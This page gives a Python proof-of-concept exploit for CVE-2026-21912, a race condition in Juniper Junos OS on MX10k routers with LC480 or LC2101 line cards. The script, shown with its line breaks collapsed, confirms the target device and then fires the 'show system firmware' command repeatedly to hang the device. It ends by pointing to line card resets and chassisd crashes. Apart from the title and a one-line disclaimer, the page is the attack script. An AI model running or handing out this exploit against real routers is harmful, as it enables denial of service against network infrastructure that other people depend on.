CVE-2026-21912: Juniper Junos OS MX10k系列TOCTOU竞态条件漏洞

#!/usr/bin/env python3 # CVE-2026-21912 PoC - TOCTOU Race Condition in Junos OS # Target: Juniper MX10k Series with LC480/LC2101 line cards # Note: This PoC is for educational and authorized testing purposes only import subprocess import time import sys def check_environment(): """Check if running on Junos OS MX10k device""" try: result = subprocess.run(['cli', '-c', 'show version'], capture_output=True, text=True, timeout=10) if 'Junos' in result.stdout and 'MX' in result.stdout: return True except: pass return False def check_linecard(): """Verify LC480 or LC2101 line card is present""" try: result = subprocess.run(['cli', '-c', 'show chassis hardware'], capture_output=True, text=True, timeout=10) return 'LC480' in result.stdout or 'LC2101' in result.stdout except: return False def exploit_toctou(): """Execute the TOCTOU race condition exploit""" print("[*] Starting CVE-2026-21912 TOCTOU exploit...") print("[*] Target: Juniper MX10k Series FPC firmware statistics collection") if not check_environment(): print("[-] Error: Target does not appear to be Junos OS MX10k Series") return False if not check_linecard(): print("[-] Error: LC480 or LC2101 line card not detected") return False print("[*] Target validated. Starting race condition attack...") print("[*] Executing 'show system firmware' command repeatedly...") # Race condition: rapid repeated execution iterations = 100 for i in range(iterations): try: subprocess.run(['cli', '-c', 'show system firmware'], capture_output=True, timeout=5) if i % 10 == 0: print(f"[*] Progress: {i}/{iterations} iterations completed") except subprocess.TimeoutExpired: print(f"[!] Iteration {i}: Command timeout - possible hang detected") except Exception as e: print(f"[!] Iteration {i}: Error - {e}") print("[*] Exploit execution completed") print("[*] Check for line card resets: cli -c 'show chassis fpc'") print("[*] Check for chassisd crashes: cli -c 'show system core-dumps'") return True if __name__ == '__main__': print("=" * 60) print("CVE-2026-21912 PoC - Junos OS TOCTOU Race Condition") print("=" * 60) exploit_toctou()